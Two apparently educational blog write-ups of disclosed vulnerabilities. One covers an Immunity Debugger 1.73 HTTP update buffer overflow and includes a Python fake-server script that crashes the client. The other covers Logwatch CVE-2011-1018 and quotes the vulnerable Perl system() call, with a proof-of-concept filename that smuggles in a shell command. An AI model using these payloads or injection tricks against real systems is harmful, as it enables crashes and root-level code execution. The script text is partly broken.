Immunity Debugger Buffer Overflow (NGS00016)

Another trawl through BugTraq, another cool vulnerability.

Today, it’s a buffer overflow with Immunity Debugger (version 1.73). This caught my interest because I love the idea of finding a vulnerability in a Debugger, with the same Debugger 😀

Before I start, I should say that this has now been fixed in the latest version which should be downloaded from Immunity’s site.

The original report on BugTraq came from Paul Harrington with a description of:

Immunity Debugger V1.73 contains a buffer overflow vulnerability in its HTTP update mechanism

So, we now know that we have a vulnerability with the update mechanism, using the HTTP protocol.

First thing we do is fire up Wireshark to see the data being sent to and from the Debugger. From everything that is sent via HTTP, the most interesting is the following request:

The reason this looks interesting is by looking at the response, we can see where a buffer overflow may occur when reading in strings.

Next, we want to redirect all traffic sent to so we can build a working exploit. This is easily done by editing out ‘hosts’ file to something like:

# Copyright (c) 1993-2009 Microsoft Corp.
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
# For example:
# # source server
# # x client host

# localhost name resolution is handled within DNS itself.
# localhost
# ::1 localhost

This will send any traffic for ‘’ to

I created a simple (and dirty) python script to send a HTTP response with malformed data:

import sys
import socket

class immunity_debugger_exploit:
port = 80
_bind_socket = 0
_client_socket = 0
_client_addr = ""
_server_running = True

_evil_string = "HTTP/1.1 200 OK\r\nDate: Tue, 22 March 2011 17:43:53 GMT\r\nServer: Apache\r\nContent-Type: text/plain\r\n\r\n\n!\n%FUBAR_NAME&" + ("A" * 1000000)

def __init__(self, port):
self.port = port

def start_listener(self):

self._bind_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
self._bind_socket.bind(("", self.port))

while self._server_running:
(self._client_socket, self._client_addr) = self._bind_socket.accept()


except Exception as e:
print "An Error Occured Binding To Port " + str(self.port)

def _send_vuln(self):
data = self._client_socket.recv(9076)

if data[:44] == "POST /ImmunityDebugger/ HTTP/1.1" or data[:43] == "GET /ImmunityDebugger/ HTTP/1.1":
print "[X] Received Request For /ImmunityDebugger/"
print "[X] Malformed Reply sent, client should have crashed"
self._server_running = False


if __name__ == "__main__":
print " Immunity Debugger (v1.73) HTTP DOS exploit"
print ""

leet_exploit = immunity_debugger_exploit(80)

Sure enough, we have a our crash which shows that our list of ‘AAAA’s has had an effect on Immunity Debuggers run.

Digging into the disassembly, you can see that the vulnerable function is just a simple “rep movs” op which doesn’t do correct bounds checking.

To build a Remote Code Exec exploit for this program could well be possible, but not quite as easy as using a SEH overwrite. This is because only a finite amount of data is read during the retrieval of the HTTP data.

It may be possible by cleverly overwriting memory locations, but to be honest, the window of opportunity of pulling off a successful exploit is not worth the hassle, it’s just about having fun !


Logwatch Arbitary Code Execution (CVE-2011-1018)

Today on my daily lurch around Bugtraq, I came across an interesting vulnerability. This affects the Logwatch program which is often used for parsing data in logfiles and emailing results.

To quote the advisory:

Dominik George discovered that logwatch did not properly sanitize
log file names that were passed to the shell as part of a command.
If a remote attacker were able to generate specially crafted filenames
(for example, via Samba logging), they could execute arbitrary code
with root privileges.

Interesting, a logparser with arbitrary code execution :). The vulnerable code is located within the perl script ‘’ here:

my $Archive;
foreach $Archive (@{$LogFileData{$LogFile}{'archives'}}) {
my $CheckTime;
# We need to find out what's the earliest log we need
my @time_t = TimeBuild();
if ($Config{'range'} eq 'all') {
if ($Config{'archives'} == 0) {
# range is 'all', but we don't get archive files
$CheckTime = time;
} else {
# range is 'all', and we get all archive files
$CheckTime = 0;
} elsif ($time_t[0]) {
# range is something else, and we need to get one
# day ahead. A day has 86400 seconds. (We double
# that to deal with different timezones.)
$CheckTime = $time_t[0] - 86400*2;
} else {
# range is wrong
print STDERR "ERROR: Range \'$Config{'range'}\' not understood\n";
exit 1;

#Archives are cat'd without any filters then cat'd along with the normal log file
my @FileStat = stat($Archive);
if ($CheckTime <= ($FileStat[9])) {
if (($Archive =~ m/gz$/) && (-f "$Archive") && (-s "$Archive")) {
my $arguments = "$Archive >> $DestFile";
system("$Config{'pathtozcat'} $arguments") == 0
or die "system '$Config{'pathtozcat'} $arguments' failed: $?"
} elsif (($Archive =~ m/bz2$/) && (-f "$Archive") && (-s "$Archive")) {
my $arguments = "$Archive 2>/dev/null >> $DestFile";
system("$Config{'pathtobzcat'} $arguments") == 0
or die "system '$Config{'pathtobzcat'} $arguments' failed: $?"
} elsif ((-f "$Archive") && (-s "$Archive")) {
my $arguments = "$Archive >> $DestFile";
system("$Config{'pathtocat'} $arguments") == 0
or die "system '$Config{'pathtocat'} $arguments' failed: $?"
} #End if/elsif existence
} #End if $CheckTime

} #End Archive

The vulnerability occurs with the ‘system()’ call arguments which is unfortunately common. As the $Archive variable isn’t sanitised, we can pass shell commands to be executed.

The $Archive variable is under our control and points to an archived log file which will be processed. Lets see if we can exploit this vulnerability.

First we make our archive log file for the http daemon:

echo “fake” > ‘/var/log/httpd/fakee;who;access_log.2’

And now try running our logwatch script

logwatch -service http

And the result is:

cat: /var/log/httpd/aa: No such file or directory
xpn tty7 March 12 11:15 (:0)
xpn pts/1 March 12 11:29 (:0:S.0)
sh: access_log.2: not found

As we can see, we were able to run the ‘who’ command successfully.

Now, simply creating a logfile from the shell doesn’t pose much of a risk (because if you have access to run the above shell commands, then you have access to run an arbitrary command), but many daemons are nowadays setup to log by username, hostname, or any array of filenames as found out by Dominik George here.

This script has since been fixed in the latest version.